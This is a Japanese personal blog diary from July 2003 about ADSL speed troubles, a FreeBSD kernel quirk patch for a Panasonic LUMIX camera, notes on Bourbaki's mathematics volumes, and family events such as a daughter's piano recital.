本日牛を再インストールの調査のために起動したら(昨日の不調牛参照・5分もかかった)、Windows Update をしなさいというご神託が現れたので、神様に従ったのです。そしたら突然起動が速くなったのですね～。奧さまに使い勝手を聞いたら、「さくさく動くようになったけどどうしたの」とのこと。
[罪の告白こーなー]
じつわ、先日 Windows Update の途中で固まって放置したままだったので、それが悪かったに違いないのです。犯人は私だったのですね～。いずれにしても、面倒な作業を後のばしにできそうなので、とってもとっても助かったのです(^^;。

2003年7月26日(土)

不調牛
好調を続けていた牛 PC ですが、奧さまの話によりますと、最近起動が遅いし、固まることも増えてきたそうです。むむむっ、ついに再インストールの時期ですねー。面倒ですな～。
ちなみに前回のインストールがこのときなので、半年近く経過しています。
それにしても、ご家族さまの使い方なんて全然把握していないし、本当に面倒。どうしよう(^^;。
＃不良牛は「きんぎょ注意報！」。わぴこも好き(^^;。
ADSL モデムの設定変更
ADSL モデムの距離の設定に、「自動・近距離・中距離・遠距離」の選択があり、デフォルトでは自動なのですが、試しに「中距離」を選択しました。これで安定すればよいのですが。ただしリンク速度は全然変化していませんので、きっとだめでしょうな。さらに、添付の注意書によると、「近距離」または「遠距離」を選択すると動作しないそうな。もしかして自動と中距離はおんなじなのかも(^^;。

覚え書き

LUMIX FZ1 の USB 接続を FreeBSD-4.8 に正しく認識させる方法。

----------------------------------------------------------------------------
$ cd /usr/src/sys/cam/scsi/
$ diff -p scsi_da.c.orig scsi_da.c
*** scsi_da.c.orig      Sat Jul 26 01:27:37 2003
--- scsi_da.c   Sat Jul 26 01:28:35 2003
*************** static struct da_quirk_entry da_quirk_ta
*** 239,244 ****
--- 239,250 ----
                {T_DIRECT, SIP_MEDIA_REMOVABLE, "MATSHITA", "FDD CF-VFDU*","*"}\
,
                /*quirks*/ DA_Q_NO_6_BYTE|DA_Q_NO_SYNC_CACHE
        },
+         {
+             /* LUMIX DMC-FZ1/K Digital Camera Support */
+             {T_DIRECT, SIP_MEDIA_REMOVABLE, "MATSHITA", "DMC-FZ1","*"},
+             /*quirks*/ DA_Q_NO_6_BYTE|DA_Q_NO_SYNC_CACHE
+         },
+
        {
                /*
                 * Sony Memory Stick adapter MSAC-US1 and
----------------------------------------------------------------------------

デバイス名は /dev/da0s1 で MS-DOS format でマウントすればよい。

毎回 Windows 牛を起動しないで良くなったのでとっても便利。

2003年7月25日(金)

しょっちゅうおきるリンクダウン
上のちっとも隠れていない隠しリンクをご覧になるとお分かりの様に、リンクダウンが非常に多いのです。ADSL 24M に変更したのは、本当に不毛な選択でした(^^;。人生最大の失敗ですな。
ってなこと書いてたらまたまたリンクダウン。一度 NTT に問い合わせてみようかな。
ブルバキ・位相
ひさしぶりに、ブルバキの話の続きなのですが、どうも可換でない代数は苦手で(行列も^^)代数の後半は「ながめただけ」だったので、今日は位相のお話です。ただし、「位相」と言っても一巻目しか読んでいなかったりします(^^;。
位相空間は、今では当たり前の「開集合の公理」から始まります。信じられない位簡単な公理が 2つしかないのですね～。
A1. 開集合の任意の合併は開集合
A2. 開集合の有限個の共通部分は開集合
これだけ(^^;。いやはや、最初に見たときは驚きました。普通は距離空間あたりから始めて、直感的な裏付けができた頃に、上の公理か、近傍系の公理の説明があるのですが。
ただし、最初に驚かせた割には、コンパクト空間の直前まで、位相空間の説明としては常識的に進みます。
ブルバキによる位相空間の構成における最大の功績は、収束の抽象化概念であるフィルターを定義し、フィルターからなる集合の極大元の存在を証明して (Zorn の補題!!)、その概念(Ultra filter)を利用してコンパクト性を定義するところにあったと思います。これにより、コンパクト空間の直感的意味が明確になるとともに、コンパクト空間の(無限)積空間のコンパクト性も簡単に証明されます。
次に表れるのが、一様収束の概念に関連する位相の拡張と考えられる、一様構造の定義となります。これを読むまで知らなかったのですが、位相の概念だけでは一様収束を定義できないのです。もちろん、距離の概念があれば定義可能なのですが、この段階でまだ実数は定義されていなかったりします(^^;。もちろん、実数が定義されていても、「概念に対して本質的な要素のみを抽象する」という、ブルバキの考えからすれば、おいそれと距離などという複雑な概念が現れるはずはありません。そこで、位相に比べるとあんまり役にたたない、一様構造の出番があるわけですが、残念ながら位相構造ほどの切れ味はなかった様に記憶しております。
いずれにしても、書かれた当時最新の Topology の雰囲気が伝わってくる本であり、個人的にはなかなか好きだったのです。ちなみに実数は、この後に有理数の完備化として定義されます。完備は一様構造の概念だったと思います。

2003年7月24日(木)

小田急ではまる
帰ろうとしたら小田急が人身事故で止っているのです。早く帰って遊びたいのに～(^^;。久し振りに @FreeD でアップロードです。ついでに新しいカメラのテスト。

会社の窓から撮った新宿方面(悪天候) 電車が止っていた新宿小田急

二女の誕生日
昨日は二女の誕生日。二女はピザとお肉が大好きなので、こんな夕飯になりました。ちなみにモカの横の手は長女。

口あけてピザを見つめるモカピザ
デジカメの候補決定
松下の LUMIX FZ1 にしようと思います。画素は 2百万と少なめなのですが、どうせ大きな紙には印字しないし、レンズが F2.8 というのが良いのです。それから、非常に不器用なので、手振れ防止機構もポイントが高いのです。さらに、ザウルス用に購入した、128M バイトの SD カードが余っているのも見逃せません。宣伝にあゆを使っている割には、機能がおっさん向けなのです(^^;。
考えてみると、今のデジカメは上の写真が最後のご奉公になります。ご苦労さまでした。~~それで、今日の帰りに新宿に買いに行く予定なのですが、他の機種の方が良いというご意見がある方は、メールお願いいたします~~。
＃キヤノンでないともう口聞かないよ～、なんて言わないでね(^^;。
＃お昼休みに近くのお店に行ったら、消費税込みで 45,000円台だったので、
＃購入しちゃいました。

2003年7月23日(水)

電車のおっさん
昨日電車に乗っていたら、向かいの席にすわっているおっさんと、その前に立っていたおっさんが喧嘩を始めたのです。いやだな～、と思って見てたら、私の隣に座っていた、これまたおっさんが、止めに行ったのです。むむむっ、たいしたもんだと思ってたら、止めおっさんが、立ち喧嘩おっさんに「まあまあ、こっちに座って」言って、肩をかかえてわたしの隣の席(自分が座っていた所) に連れてきたのです。いや～～～、それだけはかんべんして～(^^;。
＃私には喧嘩売ってこなかったです。
デジカメの誘惑
今使っているデジカメは、人様に頂いたものなのですが、さすがにちょっと古くなってきましたので、新しいのを購入しようかな～、と思っているのです。
人様のご意見を聞いたり、カメラ屋さんをうろついたりして、候補としては、 CANON PowerShot G3 、オリンパスの C750 、 CAMEDIA C-4100ZOOM 、松下の LUMIX FZ1 などの 5万円クラスの比較的レンズが大きい機種なのですが、CANONは PowerShot G3 の店頭在庫が見当たらなく、やや不利な状況です。もちろん G5 を買う予算はなかったりします。CANON G3 の入手方法知りませんか～(^^;。
と思ってちょっと調べたら G3 って全然値下がりしていないのですね。7万円台では手が出ませんなぁ(^^;。

2003年7月22日(火)

リンクダウン
ADSL を 24M に変更してからリンクダウンが多いのです。いつも最初は安定しないで数週間経過すると NTT で調整を行うのかどうか知りませんが、そこそこ安定してくるので、しらばくは様子をみますが、とりあえずスプリッタ─の芋づるは廃止しました。
NZ-NE810
明日は二女の誕生日、ということで昨日のうちにお誕生日プレゼントを買いに行きました。二女のご要望は MD ウォークマンで、それはよいのですが、問題はおうちには MD に録音できる機材がなかったりすることなのです。解決方法はいくつか考えられるのですが、
- 録音可能なラジカセを買う
- 二女のコンポも古くなってきたので、いっそ MD 付きのコンポも買ってしまう
- 録音可能な MD ウォークマンをさがす
まず、録音可能なラジカセは音が悪そうなのでぼつ。
コンポを買い直すというのは、わたしも欲しかったのでちょっと考えたのですが、中途半端なのも買いたくないし、予算の関係もありてこれまたぼつ。
それで、お店を探していたら、こんなのがあるのですね。PC から USB 経由で CD 等からの録音ができるそうです。他のメーカーの(再生専用機)の方がデザインが良いなどと文句を言っていましたが、そもそも録音できなくてどうするの～とか、編集等の便利さをアピールして説得成功です。
さっそくおうちで CD からの録音をしてみたのですが、わたしが例のごとくマニュアル読まないではまっていると、二女の方がちゃんとマニュアルを読んで、ネットから曲名をダウンロードしたりして、上手に編集できるのですね～。そろそろおうちも世代交代の時期ですな(^^;。

2003年7月21日(月)

ブルバキ・代数
昨日に続き、ブルバキの代数の話です。ブルバキの目標が、数学の厳密化・抽象化、構造化であり、それは、数学の代数化と密接に関連するので、代数の巻が一番思想と現実のギャップが少なく、記述も明快になるのは当然だったのであります。
叙述の内容としましては、20世紀の中頃に確立した、いわゆる「抽象代数」と、その後の圏論を主体としたコホモロジー主体の代数の流れの中間に属すると思います。第一巻からおおざっぱに内容をながめますと、
代数 1
前半で、ブルバキは代数演算を抽象化しようと努力しているのですが、なんといいますか、あたりまえのことを難しく書いただけ、という失敗作であります。信じられないくらいつまらないです。後半は群論の本当の入門であり、正規部分群の定義と基本的な同型定理が証明されるだけです。はっきり言いまして駄作であります(^^;。
代数 2
個人的には、この巻が、最も端的にブルバキの特徴を表していると思います。「線型代数」と称していますが、普通の線形代数と思って読み始めたら大変大変。(可換)環上のモデュール(加群・Module)の基礎理論なのです。内容にふみこむというよりも、形式的・抽象的に対象を定義し、その存在性を具体的な(あまり本質的でない退屈な方法で)示す場合が多く、このあたりの定義の手法が圏論的な発想によるものであり、実質的に圏論の内容の一部を含んでいると考えられます。時代的な具体と抽象の境界線にあるのでしょう。抽象的に物事を定義して、エレガントな議論を推進する見事さに驚嘆した記憶があります。抽象的な記述の威力を示した名作と呼べると思います。
内容の意図としましては、まさに、ブルバキの(隠された)本来の目標である、代数幾何への準備という位置付けであると思います。
- 加群の定義と基本的性質
- モルフィズムの空間の定義と基本的性質
- テンサー積の定義と基本的性質
- 射影加群と平坦可群の基本性質とコホモロジ─的な挙動
等が含まれ、Torsion,Extension にはふみこんでいません。おまけとして、線型空間の理論(係数環が体の場合)が申し訳け程度に記述されています(^^;。
代数 3
交代形式と外巾の理論なのですが、古い版しか読んだことがなく、あんまり面白くなかったです。新しい版は、抽象化が推進され、なかなか美しく出来上がっていると聞いたことがあります。
代数 4
この巻は体の理論であり、ブルバキにしては(^^;内容的にも豊富です。代数拡大、超越拡大、正規拡大、分離拡大と進みまして、線型的な性格の Galois 拡大の理論が発展して行くのです。その線型的発想は Artin によるものなのですが、ブルバキ流に料理され、よりエレガントな進行となっています。後半の順序体の理論も秀逸です。
ここまでが比較的真面目に読んだ部分です。Galois 理論までいったからとりあえずいいか、という感じでした。

2003年7月20日(日)

ブルバキ
最近会社の H さんが、ブルバキ～数学者達の秘密結社という本を読んでいるのを目撃いたしまして、ちょっと借りて読んでみたのです。ブルバキですか～。とってもなつかしいですな。
そこで唐突ですが、「ブルバキ数学原論」という二十世紀の数学を語る上で、避けて通ることができない、数学教程の序文からの引用です。
この原論は数学をその第一歩から取り扱い、完全な証明を付ける。したがって、これを読むのに、原則的には数学的予備知識を全然必要としない。ただ、多少の数学的推論の習慣と、多少の推論能力が必要なだけである。
そうは言うものの、この原論は、少なくとも大学一、二年次程度の数学的知識を持った読者を念頭に置いて書かれている。
ご存じのかたもいらっしゃるかと思いますが、ブルバキ(Bourbaki)というのは、 1930年から1940年頃に結成された、フランスの数学者集団(建前上は匿名集団) の共同ペンネームです。当時としてはなかなか衝撃的な序文であった思います。
歴史的な背景としましては、数学を英語で Mathematics と複数形で表現されますように、当時数学の各分野が、全く統一性なく個別の基礎と内容で構築されていたという、「数学分裂の危機」という事情があり、それらを確固たる基礎と構造で再構築しなければならない、という危機感から結成された集団であり、教程であったのだと思います。ゆえに、ブルバキ数学原論の名称は、アクサンを省略させて頂くと(書き方が分からない^^;)、
ELEMENT DE MATHEMATIQUE
なのであり、MATHEMATIQUES ではないのです。ちなみに、無理やり読みをカタカナでつけると、「エレマン・ドゥ・マテマティーク」という感じでしょうか。
ブルバキの教程は、基礎 6部門と、それらを前提とする各部門からなります。まずは、基礎 6部門の紹介。
- 集合論 3巻
- 代数 6巻
- 位相 5巻
- 実一変数関数論 2巻
- 位相線型空間 2巻
- 積分 5巻
集合論はとっても評判が悪かったそうです(^^;。実際には大学初年度程度の数学専攻の学生に、形式論理学や集合論をどのレベルで教えればよいか、というのはなかなか難しいのでありまして、いくらなんでも、数学専攻の大学生に、「集合はものの集まりである」ではお話になりません(いや現実には...)。しかるに、ちゃんと基礎論と集合論の公理から始めると、専攻によってはあまり役にたたない部分にかなりの労力を消費する、というジレンマがあります。実際に普通の数学を行う上で必要になる集合論の重要な定理は「ツォルンの補題」といわれる、次の命題がほとんどです。

ZFC(いや Bourbaki の公理...)のもとで帰納的集合は極大元をもつ
一般の人には全く意味不明なのですが、無限に関するなにかの存在を証明したく、具体的な構成法ない場合はこの定理が必須なのです。ブルバキの方法は、形式的で厳密な方法は守ったのですが、(最初の方で表れる)記号が特殊でとても読みにくく、実際には簡単なことを難しく書いているな～、という感じがするのは否めません。最大の欠点は、超数学を「天与のもの」と(少なくとも建前上は)考えた記述により、論理学や集合論の基礎に対する議論が全くなされていないことだと思うのですが、これを書き始めると集合論だけで 7 巻位になりそうであるということで、かなりの妥協が行われたと推測されるのです。

[2004年7月付記]
このあたりの認識は現在(2004年7月)大分変化しております。今は集合論の種々の成果や発展が、今後さらに一般の数学(もしかして理論物理学にも)にとって大きなインパクトを与えるものと思っております。
ちなみに、序文の最初に「数学をその第一歩から取り扱い...」と書いてある割には、集合論の本文の最初を引用いたしますと、
-----------------------------------------------------------------------
第 1 章形式的な数学の記述
§ 対象式と関係式

1. 記号記号列
ある一つの数学的理論 T で用いる記号には次の三種類のものがある;
1. 論理記号 : □,τ,∨ $\neg$
2. 文字、
 これは、ラテン文字の大文字・小文字、および、れらにいくつかのダッシュをつけたものを意味する。...
3. 特殊記号: これは問題としている個々の理論によって異る。
<<集合論 >> ではわれわれは = と ∈ という二つの特殊記号だけを用いる。
-----------------------------------------------------------------------
というように、最初読むと全く意味不明なのです(^^;。
「集合論 1」は、基礎的な記号論理と、本当に基本的な集合演算と写像演算。「集合論 2」は濃度の理論とツォルンの補題。順序数の理論は全く記述がないので、集合論の専門家にとっては非常に不満がある記述だったと思います。「集合論 3」はブルバキの核心である「構造」に関する定式化です。集合論に関しての私の感想はこちらに記述してあります。
代数はなかなか評判がよいのです。というところまで書きまして、長くなってきたので、以降は次回(^^;。

2003年7月19日(土)

サーバー変更
現状のままでは非常に危険なので、ホストやユーザーエージェントにより、内容を変化させるよう変更しました。また、扱いやすくするために、リクエストはすべて自宅にサーバーにリダイレクトするように変更しました。
なにか不都合がある場合は、お知らせ頂ければ幸いです。
＃洞爺湖楽しそうでしたね。ちょっとうらやましいです(^^;。

2003年7月18日(金)

3連休
実をいいますと、今日はとんでもない心配事があって、死ぬほど疲れました。それにしても、非常識が過ぎるんでは。あれを見たら親はどう思うか、どれほど心配するかを考える想像力もないのですね。例のごとく「おれは悪いことをしてない」というのでしょうが、せめて他の人を通じてでもよいので、早めに事情を連絡するべきなのです。
いずれにしても、娘に危害が及ぶのを非常に危惧しております。せっかくの夏休みなのに、娘を一人では外にだせなくなってしまいました。本当に可愛そうです。
ちなみに洞爺湖にゆく方は十分楽しんできて下さい。
ADSL 24M
本日 10時半頃に切り替わった様です。それで、比較的いつも安定した時間でとれるファイルを fetch してみると、
前よりはるかに遅い(-_-)
という悲劇だったのです。fetch の表示するパーセンテージを眺めていると、瞬間最大速度は前とおんなじ位なのですが、一休み現象(^^;が頻発していると思われるのです。それにしても、2Mbps 程度出ていたのが、お金をかけたら、平均 1Mbps 程度になってしまうとは(^^;。
てな状態で、もとに戻すとまたお金がかかるのかな～、などと考えていたのですが、そういえば昨日ノイズフィルターをつけっ放し、ということを思い出して、もしかして、今度のスプリッタ─は 24M に最適化されていて、フィルターは無益などころが害になるのかと考えて、奧さまに電話でお願いしてフィルターをはずしてもらったのです。そうしましたら、
なんとか 2Mbps 程度に復帰
いたしまして、前よりちょっと安定しているかな、という感じになったのです。
やれやれ、とりたてて速くはなりませんでしたが、ノイズフィルター以外は、大損もしなかったようであります。いずれにしても、おうちの場合 12M から 24M の切り替えは、害はないとはいえ、特に利点もなかったですね。限界なのです。
ノイズフィルター(^^;
というわけで、昨日は、ADSL24MHz の前夜祭ということでもありますし、芋づるの効果もあったし、さらには芋づる波形フィルタリングの研究のために、3,500円のノイズフィルターというものを買ってきました。それで、おおざっぱな実測なのですが、

古いスプリッタ新しいスプリッタフィルター速度

○ 2.0MHz

○ 2.0MHz

○ ○ 2.16MHz

○ ○ 2.0MHz

○ ○ 2.0MHz

○ ○ ○ 2.15MHz

全員芋づるに負けてしまい、全く効果がありません。いやはや、もともと買い物は下手なのですが、これほどの失敗も珍しいですな。大散財です(-_-)。

2003年7月17日(木)

FletsADSLモアIIの謎
ここによりますと NTT 東日本では 7月22日から開始と書いてありますが、おうちにきたメールでは、明日開通となっています。どちらが本当なのだろうか。不思議ですな。
↑家に着いたら、NTT から封書が来ていまして、工事の平準化のため、やっぱり明日開通だそうです。
Windows XP モデムの謎
社内の女性なのですが、なんと昨年の年賀状の一等賞で、ノート PC が当たったという方がおります。それはそれでとってもめでたいのですが、最近 Windows Update したら、内蔵モデムを使用したダイアルアップのアイコンや、設定が全部無効になってしまったとのこと。それで、再設定しようとすると、ネットワークインターフェースはデバイスとして出てくるのですが、モデムは出てこないので設定できないとのことなのです。
それで、さっそくデバイスマネージャーを見ると、モデムはハード的に正しく認識されていて、AT コマンド等にも問題なく応答があるのです。ところが、ネットワークの設定等のメニューに行くと、NIC は表示されるのですが、モデムは表示されません。ドライバーを一度削除して再認識させてもだめ。
これは分からないですな。わたしの能力では再インストールしか思いつかないのですが、くだんの女性はすごくいやがってるし。困ったものです(^^;。
監視カメラの社会的弊害
予想されたこととはいえ、朝日新聞の7月15日付夕刊によりますと、長崎の商店街で、監視カメラを大幅に増設するそうです。考えが短絡的といいますか、幼稚といいますか、それとも今回の 12歳の少年の事件が起ったのを口実に、希望に満ちた自由な社会から、絶望的な監視社会へという変革を大幅に進めようというのでしょうか。さらに、ここで問題になるのは、監視社会への推進を計るのは、何の権力をもった人なのか、また、その目的は何なのか、ということなのです。
「親を打ち首」などという低俗な発言は論外としても、監視カメラの増設が犯罪の抑止につながるとは思えません。また、今回の 12歳の少年による事件の要因は、個人的な資質が一番大きいと思いますが、カメラ等で人々の生活を監視するなどという、権力によって管理されることに対する閉息感が社会に蔓延し、そのような雰囲気は今後同様の事件を引き起こす要因の一つになるとも考えられます。
ところで、これだけ監視カメラが増え続けているということは、その技術を積極的に製造・販売する企業が存在するわけであります。監視用途に使用される、画像や音声のネットワーク伝送等の技術自体には色々な用途があり、汎用的な商品として販売され、それを購入したユーザーが監視用途に悪用するのは、 (企業としては)ある程度仕方がないと思います。一方、いくつかの会社のホームページ等を閲覧いたしますと、これらの技術や商品を積極的に監視用途として販売する企業もあるようです。個人的な意見ですが、この様な企業のモラルを疑わざるを得ません。彼らはまさに、倫理的な崩壊状態にあり、さらに企業としての社会的責任を放棄しているのみならず、社会に対して極めて大きな犯罪を犯しているとも考られるのでありますし、現に犯罪的行為を行って平然としている場合もあるようです。監視カメラシステムの売り上げを伸すために、一般社会に恐怖を植え付けようと、あえて犯罪的行為を行っているのかも知れません。
このような社会的責任を放棄した犯罪企業とその役員は、即座に社会から退散していただきたいと真に願うのであります。

2003年7月16日(水)

北海道
実は、母方の実家が札幌なのです。それから父親の素姓が、戦争のことがいやであんまり喋りたがらなかったので、いまいちよく分からないのですが、若いころ(戦前!!)北大の助手をやっていたのです。そんな訳で、小さいときに(福島から)札幌に何回か行った記憶があります。当時は青森まで 8時間位かかり、青函連絡船にのり、函館から札幌までがこれまた遠いのですね。二日がかりで行ったものです。
新婚旅行も北海道。この頃は飛行機。観光したのはこのとき位かも知れません。
それから、10年以上前の話ですが、昔勤めていた会社の営業さんが、北海道好きで、札幌と旭川の仕事をとってきて下さったのです。ところが、申し訳けなかったことに、これが両方とも納期遅れとトラブル(^^;。この時期に 20回以上北海道に行ったと思います。もちろん観光なしです。
そういうことでして、北海道に全く縁がない訳ではないのです。いずれにしても、ホームページ開設おめでとうございます。

2003年7月15日(火)

ADSL ノイズフィルター
というわけで、近くの電気屋さんに ADSL のノイズフィルターを物色に行ったのです。ところが、1,000円位かとたかをくくっていたら、なんと一個 3,500 円(^^;。いやはや、いくらなんでも効果があるかどうか分からない物品に、このお値段を費やすわけにはまいりません。なにも買わずにすごすごと戻って参りました。人柱さまがいないものですかなぁ。
芋づるスプリッターの謎
こんどの ADSLモデム MNIIIにはスプリッターも添付されておりまして、一昨日の接続では、当然新しいのを使ったのですが、前のが一個あまったので、シャレで芋づるに繋いでみたのです。そもそもリンクが確立するかどうかさえも分からなかったのですが、なんと、
平均的にいっこの場合より一割程度速い(^^;
という驚くべき測定結果が出たのです。古いのが一個でも、新しいのが一個でもだめでして、芋づるの場合が良いのです。不思議ですなあ。二重にフィルターされて減衰は大きくなっても、ノイズは減るのでしょうか。もしそうだとしますと、お店でちょっと高そうなスプリッタ─なり、ノイズフィルターを購入すればかなりの効果がありそうです。
```
               TEL               
              |------ TEL        TEL
    Jack -----|                 |----X
              |-----------------|
               LINE             |------- Modem ---------
                                 LINE          Ethernet
```
いずれにしても、レンタルなので本来古いのは返す必要があるのですが、どうせ気が付かないでしょうから、しばらくこの状態で運用しましょう。24M の開通でまた変化するかも知れませんし。

2003年7月14日(月)

極悪ページ
書き始めた頃はテキストのみでおとなしかったこのページも、最近極悪化の一途をたどっています。特に親ばかまるだして、モカの写真を出したあたりから、画像が増えちゃいましたね～。ただし、奧さまのご意見によりますと、「だたでさえ見栄えが悪いし、内容もないページなんだから(おい^^)、月に何枚か写真でも貼っておくと引き立つよ」ということで、今後も極悪化の一途をたどるのは間違いないと思われるのです。
＃ちなみに、極悪ページとは広辞苑によると、
＃「無駄な写真等が多く、必要以上に重いページ」
＃という意味だそうです。
ギガメモリーノートの誘惑
ちょっと X24 をギガメモリー化する誘惑がありまして、調査していたのですが、X24 のメモリー空きスロットは一つで、最初から入っている 128M バイトのメモリーに 512M バイトを加算した、640M バイトが最大のようです。従って、一瞬血迷いそうになった、ギガノートへの危険な散財誘惑は回避されたのです。本当のことを言いますと、640Mバイトでさえ使いこなせていないのが実情だったりします(^^;。
24Mbps 対応 ADSL モデム
本当は土曜日に届くはずだった、フレッツADSLモアII(24Mbps)のモデムですが、土曜日はピアノの発表会で一日留守だったので、昨日届けてもらいました。
さっそくフレッツADSLモア(12Mbps)のモデムと交換して速度を計りましたが、
全く変化がありません(-_-)
リンク速度は、最初 3Mbps 位なのですがちょっと使っていると 2.5Mbps 程度に低下して、NAT ルーターや無線 LAN を通した後の実効速度が 2.0Mbps 程度なのです。マンションの YahooBB な人が増えてから遅くなってる気がするし。
そもそも前のモデムの型番が ADSLモデム MNII で、新しいのが ADSLモデム MNIII という安易な名称でして、写真をご覧になるとおわかりの様に、外見は全く区別がつきません。おそらく 12Mbps のプロトコルの部分に関しては、中身も全くおんなじと推測されます。むむむむむっ、今まではモデムの交換だけで、5 割増し位の速度向上があったのですが、さすがにこの位で打ち止めの様です。今週の金曜日に、公称 24Mbps プロトコルの開通となり、リンク速度 3Mbps 回復が目標なのですが、どうなることやら(^^;。
ちなみに、「前より遅くなったら面白いな～」などと、けしからんことを考えている方もいらっしゃるかも知れませんが、残念ながら遅くはなっていないようです。ただし、公称 24Mbps プロトコルが開通した場合は、ゆめ油断なりませぬ(^^;。

2003年7月13日(日)

ピアノの発表会
昨日はモカのピアノの発表会でした。モカの通っているピアノ教室は、舞台なども生徒たちが手伝いながら作るので、一昨日は仕掛けにも顔をだしたようです。演奏した曲は、
エレクトーン～トゥーンタウン
ピアノ～波のアラベスク「海の日記帳」より～三善晃
ピアノ～グラドゥス・アドパルナッスム博士「子供の領分」より～ドビュッシー
ということで、特にドビュッシーは、とらえどころがなく、テクニック的にもなかなか難しい面がある曲を、よく弾きこなしたと思います。発表会が終わってから、片付けを手伝って、先生たちと打ち上げに行きました。
ちなみに、高校生の二女は、もと生徒であり、現在はこの教室でアルバイトをさせて頂いており、昨日は録音担当だったのですが、幸い、失敗はなかったそうであります。
余談ですが、ピアノの先生(女性)が最近 ADSL を引いたのですが、なんと公称 12Mbps の ADSL の実測で 10.4Mbps なのだそうな(^^;。まったくうらやましいのであります。電話局との距離の概算は 300m 位だそうです。

開演前
リハーサル

エレクトーンの演奏
ピアノの演奏

演奏後友達にもらったプレゼントを持って笑顔
(おまけ)首だけともか

2003年7月12日(土)

安物ルーターの機能
はずしているかも知れませんが、最近の安物ルータ(BLR3-TX4L)には内側からのホストや宛先ポートを指定して IP をブロックする機能があったりします。
論理式と日本語
前に Epsilon-Delta 論法の説明をするために、関数の連続の定義を書いたのですが、日本語としておかしいのではないか、というご意見がありました。論理式としましては、おおむね、
(\forall \epsilon>0)(\exists \delta>0)
(|x-x_0|<\delta \rightarrow |f(x)-f(x_0)|<\epsilon)

という感じなのですが、私はこれを直訳して、
実関数 f が、点 x0 で連続とは、任意の正の数 Epsilon>0 に対して、これまた正の数 Delta>0 が存在して |x - x0|<Delta ならば |f(x) - f(x0)|<Epsilon
と書いたのです。ところがご意見を勝手に引用させて頂きますと、
任意の正の数 Epsilon>0 に対して、 |x - x0|<Delta ならば |f(x) - f(x0)|<Epsilon を満たす正の数 Delta>0 が存在する
が日本語として正しいというのです。確かに、こちらの方が日本語として自然であり、分かりやすく、正しいのは明白だと思います。というわけでして、どうも数学で挫折した原因として、日本語ができないというのもあったのは間違いないと考えまして、当日の日記にこっそり追加したのであります。どんな学問を勉強する場合でも、言語に対する正しい感受性は必須であると思います。
貴重なご意見どうもありがとうございました。

2003年7月11日(金)

不眠の力
ちょっと不眠症気味で、最近の 5日間の睡眠時間が 4,3,3,0,4 というリズムなのです。もう少し眠りたいものですな。このように睡眠が断片化するのは、なんのかんの年のせいなのでしょうね。ちなみに 23時頃に寝てしまうと、2時頃に目が覚めて、そのまま眠れないし、そうでないと 3時頃まで眠れないで、朝 6時に起きる必要があるということで、なかなか睡眠時間が確保できないのです。
続・VPN over IPsec の謎
Windows ネットワークの方は、特定の UDP パケットのフィルターを解除したら、動作するようになりました。特定のホストに ping できなかったのは、そのホストの経路が、社内一般のものと違うものをつかっていた、などということは、とってもとっても恥ずかしくて言えません(^^;。

2003年7月10日(木)

げたを持ち帰る
USB/RS-232C 変換機があるので、X24 のげたを会社に置いても使い道がありません。おうちに持ち帰って、CD-ROM を使えるようにしましょう。
予約の悩み
わたしも「宇宙の子供」をインターネット予約したいのですが、どこに予約するのかが悩みの種なのです。
- さすがに 3枚買うのはちょっと予算が苦しい(^^;。
- HMV の場合、「そっくりハウス」のお人形が付いてきた。
- 山野楽器の場合、「翼」にイベント券が付いてきた。
- 石丸電気のイベントもあるかも知れない。
石丸電気の場合は買いにゆくとして、インターネット予約は HMV が良いのか、山野楽器が良いのか、ほんとにほんとに悩んでしまうのです(^^;。
＃それはそうと「ここにいるよ」と「わたしは淋しい水でできてる」が
＃入っているのですね。すばらしい。
VPN over IPsec の謎
先日書きましたように、某社様と IPsec 上の VPN を構築したのです。それで、昨日本番のテストを行ったのですが、次の問題点があったのです。
- Windows ネットワークが見えない。
- IP レベルで見えるホストと見えないホストがある(^^;。
Windows の件は、良く分からないのですが、NETBIOS を通すのなんたらかんたらと、WINS サーバーがなんたらかんたらということらしく、なんたらかんたらするとなんとかなりそうなのです。
それより、不思議なのは二つ目なのです。例えば、私が使っている Linux マシンには ping も HTTP も ssh も全然問題なく通るのですが、となりのアドレスで同じハブに繋がっている X24 は全滅なのです。どうしてなんだろう。ちなみに Linux の方をやってうまくいってるときに、「使っている人を見てるんじゃない？」と私がのたもうたら、某社の方曰く、
「X24 は誰がつかってるんでしょうね～」
むむむむむっ、とっても失礼ですな(^^;。

2003年7月9日(水)

新譜
谷山浩子さんの新譜なのです。
宇宙の子供 YCCW00042
9月17日(水)発売予定だそうです。谷山浩子さんのページ更新。
長女の誕生日
昨日は長女 19歳の誕生日。というわけで、みんなでお食事。長女も浪人で本人は悩みも多いのだろうが、誕生日くらいは良い思いをさせてあげたい。しかし、母親がしっかりしているとはいえ、父親がばかでも、子供は育つものですな。
(おまけ)
長女(のメガネをかけたモカ^^)と食べ散らかされたサクランボ。

2003年7月8日(火)

続・猫森ネット先行予約
おやおや、最後まで到達できた人がいるのですね(^^;。実は、システムが悪いのではなく、最後まで到達できた偉大なる勇者には、浩子さんの真ん前の最良の座席が当たる抽選システムだったりして。
閲覧禁止リスト
本ページは、基本的に、仲の良い人達とのおしゃべりのマイナーページですので、個人的に嫌いな人には閲覧してほしくないのです。従ってあんまり意味はないのですが、表紙に閲覧を遠慮して頂きたい嫌いなカテゴリーの人のリストを追加しました。とにかく、とっても、とってもうっとうしいのです。
お礼
何人かの方からお見舞いのメールを頂きましてありがとうございます。
眠りの森
そういえば、会員の期限も切れそうだし、アンケートやお誕生日メッセージとかいろいろあるのですね。むむむっ、意外と忙しいですな(^^;。
ちなみに会員番号ってなにか意味があるのですか、それとも単なる連番ですか。連番にしてはちと大きすぎるような(失礼)。
↑私にだけ教えて下さったのですが、本来、重大な機密事項なのだそうです。ちなみに、意味不明ですが 12進数と書いたのは 13進数の誤りです(^^;。

2003年7月7日(月)

猫森先行予約
わたしが死んでいる間に、奧さまが入金してくださりました。定期も買ってきてもらったのです。合計 156,550円でした。定期代は次回の給与で会社から支給されるのですが、なかなかの価格ですな。
定期の買い換え
今日は七夕ですね～。ところで、全然関係なく、半年定期の期限が今日までなので、103,950円持ちて家をでます。七夕に関しては、東北出身だからそう思うのかも知れませんが、梅雨時の 7月初旬に行うより、旧暦通り 8月にお祭りしたほうがよいと思うのですが、どうなんでしょうか。
なんて書いていたら、急に猛烈な頭痛と発熱。むむむっ、今日はお休みですな。

2003年7月6日(日)

24M ADSL の連絡
公称 24Mbps のフレッツ・ADSL モアII 開通予定の連絡が来ました。
2003年7月12日(土) にモデムの配送
2003年7月18日(金) に実際の開通
2003年7月21日(月) に旧モデムの回収(出前のどんぶりみたいに玄関にだしとく)
